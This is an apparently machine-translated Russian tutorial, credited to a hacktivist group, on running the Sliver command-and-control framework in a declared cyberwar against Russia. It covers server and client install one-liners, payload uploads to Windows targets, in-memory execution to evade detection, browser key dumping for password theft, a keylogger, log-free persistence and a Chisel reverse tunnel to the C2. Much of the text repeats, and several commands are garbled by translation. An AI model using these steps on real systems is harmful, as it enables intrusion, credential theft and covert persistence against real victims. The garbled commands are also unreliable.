Привет, кибервоины! Этот сериал о Sliver — системе управления и контроля (C2), активно используемой нами, «Киберказаками», в ходе продолжающейся кибервойны против России. Мы хотим показать вам наши приёмы и тактики, а также показать, как Sliver может стать мощным и надёжным инструментом при правильном использовании.
По своей сути, командный сервер (C2) — это программное обеспечение, предназначенное для выполнения команд или исполняемых файлов на удалённой машине или даже в целой сети машин. Основная цель C2 — обеспечить централизованное управление, позволяя оператору управлять несколькими системами в скомпрометированной среде. Оператор отвечает за проведение атаки и поддержание доступа. Такой доступ может быть получен различными способами, например, путём эксплуатации уязвимости SQL-инъекции, использования слабых учётных данных в таких сервисах, как SSH или RDP, или путём получения доступа к системе, которая уже закрепилась в целевой сети.
После получения этого начального доступа C2 используется для генерации специализированного исполняемого файла. После доставки этого файла на целевую машину при его запуске создаётся канал связи с сервером C2. В дальнейшем мы будем называть эти исполняемые файлы маяками.
Для эффективного использования C2 необходимо освоить основы Tmux. Tmux — это терминальный мультиплексор. Он позволяет запускать и управлять несколькими сеансами оболочки внутри одного SSH-подключения. Даже при обрыве соединения сеансы продолжают работать. Это очень полезно в конфигурациях C2, поскольку позволяет оставлять слушателей, скрипты и опорные точки запущенными, организовывать окна, разделять экраны для более удобного мониторинга и переключаться между задачами без потери хода выполнения.
Tmux — это не только обеспечение бесперебойной работы. Он помогает организовать рабочий процесс, разделяя окно терминала, присваивая имена сеансам и быстро переключаясь между задачами. Он поддерживает порядок и отказоустойчивость, особенно при длительных операциях.
c2 > sudo apt install tmux
После установки рекомендуется настроить Tmux в соответствии со своими потребностями. Для этого необходимо создать файл конфигурации:
c2 > nano ~/.tmux.config
Эта конфигурация расширит историю прокрутки, позволяя просматривать более ранние результаты. Она также предотвратит автоматическое переименование окон tmux, что полезно при работе с большим количеством окон. Кроме того, конфигурация добавит специальные горячие клавиши для объединения и перемещения панелей между окнами, а также интегрирует базовые функции Vim — что пригодится позже.
Когда ваша конфигурация будет готова, примените ее с помощью следующей команды:
c2 > исходный файл tmux ~/.tmux.conf
Затем начните новый сеанс:
c2 > tmux new -s sliver
Замените данное имя на что-то, связанное с задачей.
Когда ваш рабочий процесс расширяется и вам требуется ещё одно полное окно, нажмите префикс ( Ctrl + B ), а затем c , чтобы создать его. Используйте это новое окно для просмотра файлов или хранения журналов отдельно от основного окна атаки.
Чтобы скопировать текст, нажмите префикс + [ , затем пробел , чтобы начать выделение. Используйте стрелки, чтобы выделить нужный текст, и нажмите Enter, чтобы скопировать. Содержимое сохраняется в буфере обмена Tmux, а не в системном буфере обмена.
Для вставки используйте префикс + ] . Если вы копируете конфиденциальные данные, такие как билеты Kerberos, рекомендуется сохранить их в файл и загрузить на локальный компьютер с помощью scp или wget .
Установите сервер с помощью этой однострочной команды:
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.43/sliver-server_linux; chmod +x ./sliver-server_linux; ./sliver-server_linux
Сервер запустится через несколько секунд. После его запуска вам потребуется добавить нового оператора. Имя оператора — это ваш идентификатор пользователя в экосистеме Sliver. Вам также необходимо указать IP-адрес, с которого будет осуществляться подключение. Если вы работаете локально, используйте 127.0.0.1. Перед добавлением оператора включите многопользовательский режим. Это позволит вам подключаться к серверу и другим операторам при необходимости:
[сервер] sliver > многопользовательский режим
[сервер] sliver > new-operator -n <имя> -l <IP>
c2 > wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.43/sliver-client_linux; chmod +x ./sliver-client_linux; ./sliver-client_linux import overwatch_127.0.0.1.cfg; ./sliver-client_linux
Обратите внимание, что эта однострочная команда включает имя вашего файла конфигурации, которое будет отличаться от нашего.
После подключения клиента можно приступать к работе с Armory. Armory — это встроенная система управления модулями Sliver. Она позволяет добавлять, обновлять и удалять инструменты из среды C2, не затрагивая основную программу. С помощью Armory вы можете просматривать доступные модули, устанавливать нужные, обновлять их по отдельности или все сразу, а также удалять ненужные.
Чтобы просмотреть доступные модули, используйте команду armory list . Чтобы установить конкретный модуль, используйте команду armory install <modulename> . Вы можете обновить его с помощью команды armory update <modulename> или обновить всё с помощью armory update all. После завершения работы с модулем удалите его с помощью команды armory uninstall <modulename> .
В Armory представлено множество инструментов, таких как Seatbelt для проверки настроек безопасности Windows, Rubeus для работы с тикетами Kerberos, SharpHound для сбора информации об Active Directory и KrbRelayUp для проведения атак Kerberos Relay. Одним из наиболее практичных инструментов является Chisel , позволяющий настроить прокси-туннель через скомпрометированную цель. После установки каждый инструмент становится частью среды Sliver и может запускаться как любая встроенная команда. Имейте в виду, что эти инструменты могут быть помечены антивирусами или EDR-решениями.
Как только ваша среда будет готова, вам следует начать изучать команды, предоставляемые Sliver.
Команда help выведет полный список доступных команд, включая основные функции Sliver, макрокоманды, сторонние инструменты и действия, специфичные для Windows. Их слишком много, чтобы запомнить сразу, поэтому лучше изучать их постепенно, в ходе реальной работы.
sliver > загрузить /root/payloads/payload.exe C:\\Windows\\Temp\\payload.exe
sliver > скачать C:\\Windows\\Temp\\Bloodhound.zip /root/target/BH.zip
Чтобы запустить DLL или исполняемые файлы в памяти, введите следующее:
sliver > execute-assembly /path/to/assembly
Категория расширений содержит специализированные команды. Например, sa-list_firewall_rules может показать, какие правила настроены на целевом компьютере.
Вы также можете сделать дамп главных ключей браузера с помощью chromiumkeydump , что необходимо для расшифровки сохраненных паролей.
Клавиатурные шпионы могут перехватывать учётные данные при входе пользователей в сервисы. Для этого есть raw-keylogger.
Для обеспечения устойчивости remote-ghost_task позволяет планировать задачи незаметно, не создавая журналы.
c2 > ./sliver сервер –reverse -v -p 1257 –socks5
Затем, находясь на указанной цели, выполните:
sliver (сеанс) > chisel client -v <C2_IP>:1257 R:socks
Убедитесь, что порт 1080 свободен для прокси-сервера, так как Chisel использует его по умолчанию.
Эта статья заложила основу для эффективной настройки и использования Sliver в наступательных операциях. Мы начали с базовой настройки Tmux для организации вашей рабочей среды и перешли к полной настройке как сервера, так и клиента Sliver. Вы узнали, как использовать Armory для расширения своих возможностей, и познакомились с основными командами Sliver, включая управление сеансами, передачу файлов, выполнение полезной нагрузки в памяти и параметры сохранения. Sliver — это не просто базовый C2-сервер, это модульная, адаптируемая и мощная платформа для современных боевых действий. Освоение его инструментов и функций позволит вам проводить полномасштабные операции без использования внешних утилит.
По своей сути, командный сервер (C2) — это программное обеспечение, предназначенное для выполнения команд или исполняемых файлов на удалённой машине или даже в целой сети машин. Основная цель C2 — обеспечить централизованное управление, позволяя оператору управлять несколькими системами в скомпрометированной среде. Оператор отвечает за проведение атаки и поддержание доступа. Такой доступ может быть получен различными способами, например, путём эксплуатации уязвимости SQL-инъекции, использования слабых учётных данных в таких сервисах, как SSH или RDP, или путём получения доступа к системе, которая уже закрепилась в целевой сети.
После получения этого начального доступа C2 используется для генерации специализированного исполняемого файла. После доставки этого файла на целевую машину при его запуске создаётся канал связи с сервером C2. В дальнейшем мы будем называть эти исполняемые файлы маяками.
Для эффективного использования C2 необходимо освоить основы Tmux. Tmux — это терминальный мультиплексор. Он позволяет запускать и управлять несколькими сеансами оболочки внутри одного SSH-подключения. Даже при обрыве соединения сеансы продолжают работать. Это очень полезно в конфигурациях C2, поскольку позволяет оставлять слушателей, скрипты и опорные точки запущенными, организовывать окна, разделять экраны для более удобного мониторинга и переключаться между задачами без потери хода выполнения.
Tmux — это не только обеспечение бесперебойной работы. Он помогает организовать рабочий процесс, разделяя окно терминала, присваивая имена сеансам и быстро переключаясь между задачами. Он поддерживает порядок и отказоустойчивость, особенно при длительных операциях.
Настройка Tmux
Начните с установки:c2 > sudo apt install tmux
После установки рекомендуется настроить Tmux в соответствии со своими потребностями. Для этого необходимо создать файл конфигурации:
c2 > nano ~/.tmux.config
Эта конфигурация расширит историю прокрутки, позволяя просматривать более ранние результаты. Она также предотвратит автоматическое переименование окон tmux, что полезно при работе с большим количеством окон. Кроме того, конфигурация добавит специальные горячие клавиши для объединения и перемещения панелей между окнами, а также интегрирует базовые функции Vim — что пригодится позже.
Когда ваша конфигурация будет готова, примените ее с помощью следующей команды:
c2 > исходный файл tmux ~/.tmux.conf
Затем начните новый сеанс:
c2 > tmux new -s sliver
Команды
В этом сеансе вы можете начать разделять окно для многозадачности. Большинство наших операторов делят своё рабочее пространство на три или четыре панели в зависимости от того, что они отслеживают. Tmux использует собственный набор горячих клавиш, поэтому вам нужно запомнить префикс: Ctrl + B. После нажатия и отпускания префикса используйте « » , чтобы разделить окно по горизонтали, и % , чтобы разделить его по вертикали. Вы можете перемещаться между панелями с помощью клавиш со стрелками после нажатия префикса.
Переименование Windows
Чтобы упростить управление рабочим пространством, вы можете переименовать каждое окно. Это делается нажатием клавиши префикса и запятой , что позволяет назначить новое имя, отражающее задачу в этом окне.
Замените данное имя на что-то, связанное с задачей.
Когда ваш рабочий процесс расширяется и вам требуется ещё одно полное окно, нажмите префикс ( Ctrl + B ), а затем c , чтобы создать его. Используйте это новое окно для просмотра файлов или хранения журналов отдельно от основного окна атаки.
Панели отправки и присоединения
Ваша конфигурация Tmux также должна поддерживать две важные функции, такие как отправка и объединение панелей между окнами. Настроив горячие клавиши, вы можете использовать префикс + s для отправки панели в другое окно и префикс + j для присоединения панели из другого окна к текущему. Эти две команды упрощают эффективное управление рабочим пространством терминала.
Прокрутка
Если вывод команды превышает видимый буфер, можно прокрутить его вверх с помощью префикса + [ , а затем использовать клавиши со стрелками или мышь .Чтобы скопировать текст, нажмите префикс + [ , затем пробел , чтобы начать выделение. Используйте стрелки, чтобы выделить нужный текст, и нажмите Enter, чтобы скопировать. Содержимое сохраняется в буфере обмена Tmux, а не в системном буфере обмена.
Для вставки используйте префикс + ] . Если вы копируете конфиденциальные данные, такие как билеты Kerberos, рекомендуется сохранить их в файл и загрузить на локальный компьютер с помощью scp или wget .
Поиск
Интеграция с Vim также позволяет выполнять поиск по предыдущим выводам. Активируйте режим прокрутки, нажав префикс + [ , затем нажмите / и введите искомое ключевое слово. Например, чтобы найти информацию об атаках «roast», можно ввести roast и нажать Enter. Если вы хотите начать поиск с определённого места, прокрутите страницу до этого места, прежде чем начать поиск.
Отсоединение
Иногда требуется отсоединиться от сеанса, не закрывая его. Это полезно при переключении на другую задачу или сеанс пользователя. Чтобы отсоединиться от текущего сеанса Tmux, нажмите prefix + d . Позже вы сможете снова подключиться к тому же сеансу, выполнив команду tmux attach -t <имя_сеанса> .
Щепка
Теперь, когда вы настроили Tmux и понимаете, как управлять своей средой, пришло время установить и настроить Sliver. Настройка выполняется в два этапа. Сначала устанавливается сервер, а затем клиент.Установите сервер с помощью этой однострочной команды:
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.43/sliver-server_linux; chmod +x ./sliver-server_linux; ./sliver-server_linux
Сервер запустится через несколько секунд. После его запуска вам потребуется добавить нового оператора. Имя оператора — это ваш идентификатор пользователя в экосистеме Sliver. Вам также необходимо указать IP-адрес, с которого будет осуществляться подключение. Если вы работаете локально, используйте 127.0.0.1. Перед добавлением оператора включите многопользовательский режим. Это позволит вам подключаться к серверу и другим операторам при необходимости:
[сервер] sliver > многопользовательский режим
[сервер] sliver > new-operator -n <имя> -l <IP>
Серебряный клиент
Когда сервер готов, можно настроить клиент. Клиент будет использоваться для подключения к серверу Sliver. Его можно установить на ту же машину или на отдельную, в зависимости от ваших настроек. Чтобы установить и запустить клиент, выполните:c2 > wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.43/sliver-client_linux; chmod +x ./sliver-client_linux; ./sliver-client_linux import overwatch_127.0.0.1.cfg; ./sliver-client_linux
Обратите внимание, что эта однострочная команда включает имя вашего файла конфигурации, которое будет отличаться от нашего.
После подключения клиента можно приступать к работе с Armory. Armory — это встроенная система управления модулями Sliver. Она позволяет добавлять, обновлять и удалять инструменты из среды C2, не затрагивая основную программу. С помощью Armory вы можете просматривать доступные модули, устанавливать нужные, обновлять их по отдельности или все сразу, а также удалять ненужные.
Чтобы просмотреть доступные модули, используйте команду armory list . Чтобы установить конкретный модуль, используйте команду armory install <modulename> . Вы можете обновить его с помощью команды armory update <modulename> или обновить всё с помощью armory update all. После завершения работы с модулем удалите его с помощью команды armory uninstall <modulename> .
В Armory представлено множество инструментов, таких как Seatbelt для проверки настроек безопасности Windows, Rubeus для работы с тикетами Kerberos, SharpHound для сбора информации об Active Directory и KrbRelayUp для проведения атак Kerberos Relay. Одним из наиболее практичных инструментов является Chisel , позволяющий настроить прокси-туннель через скомпрометированную цель. После установки каждый инструмент становится частью среды Sliver и может запускаться как любая встроенная команда. Имейте в виду, что эти инструменты могут быть помечены антивирусами или EDR-решениями.
Как только ваша среда будет готова, вам следует начать изучать команды, предоставляемые Sliver.
Команда help выведет полный список доступных команд, включая основные функции Sliver, макрокоманды, сторонние инструменты и действия, специфичные для Windows. Их слишком много, чтобы запомнить сразу, поэтому лучше изучать их постепенно, в ходе реальной работы.
Сессии
Чтобы проверить активные сеансы, используйте функцию sessions . Со временем некоторые сеансы могут стать неактивными или быть потерянными. Используйте функцию sessions prune для очистки неактивных сеансов. В случае обрыва соединения имплант по умолчанию будет пытаться восстановить соединение каждые две минуты.
Работа
Ещё одна ключевая функция — это задания , которые отображают активные прослушиватели и порты. Если у вас нет активных прослушивателей, ваши маяки не смогут обмениваться данными с C2.
Кот
Команды типа cat можно расширять с помощью флагов. Команда cat -h показывает доступные параметры. Например, можно использовать -X , чтобы сохранить вывод команды в виде фрагмента, что полезно при работе с конфиденциальными или ценными файлами.
Добыча
Команда loot помогает управлять сохранёнными учётными данными, файлами и ключами. Это ваша внутренняя база данных для украденных данных.Скачать и загрузить
Вы будете часто использовать команды upload и download для перемещения полезных данных или извлечения данных. Будьте осторожны с большими файлами — файлы размером более 100 МБ могут дестабилизировать ваш сеанс. Вот как использовать эти команды с целевой системой Windows:sliver > загрузить /root/payloads/payload.exe C:\\Windows\\Temp\\payload.exe
sliver > скачать C:\\Windows\\Temp\\Bloodhound.zip /root/target/BH.zip
Выполнение-Сборка
Особенно мощная команда — execute-assembly . Она запускает исполняемые файлы или библиотеки DLL непосредственно в памяти целевой машины, полностью минуя обращение к диску. Это значительно затрудняет обнаружение. Используйте её для запуска таких инструментов, как Seatbelt, SharpHound, или ваших собственных полезных нагрузок C#.Чтобы запустить DLL или исполняемые файлы в памяти, введите следующее:
sliver > execute-assembly /path/to/assembly
Категория расширений содержит специализированные команды. Например, sa-list_firewall_rules может показать, какие правила настроены на целевом компьютере.
Вы также можете сделать дамп главных ключей браузера с помощью chromiumkeydump , что необходимо для расшифровки сохраненных паролей.
Клавиатурные шпионы могут перехватывать учётные данные при входе пользователей в сервисы. Для этого есть raw-keylogger.
Для обеспечения устойчивости remote-ghost_task позволяет планировать задачи незаметно, не создавая журналы.
Долото
Наконец, Chisel позволяет создать стабильный прокси-сервер. Запускаем сервер:c2 > ./sliver сервер –reverse -v -p 1257 –socks5
Затем, находясь на указанной цели, выполните:
sliver (сеанс) > chisel client -v <C2_IP>:1257 R:socks
Убедитесь, что порт 1080 свободен для прокси-сервера, так как Chisel использует его по умолчанию.
Эта статья заложила основу для эффективной настройки и использования Sliver в наступательных операциях. Мы начали с базовой настройки Tmux для организации вашей рабочей среды и перешли к полной настройке как сервера, так и клиента Sliver. Вы узнали, как использовать Armory для расширения своих возможностей, и познакомились с основными командами Sliver, включая управление сеансами, передачу файлов, выполнение полезной нагрузки в памяти и параметры сохранения. Sliver — это не просто базовый C2-сервер, это модульная, адаптируемая и мощная платформа для современных боевых действий. Освоение его инструментов и функций позволит вам проводить полномасштабные операции без использования внешних утилит.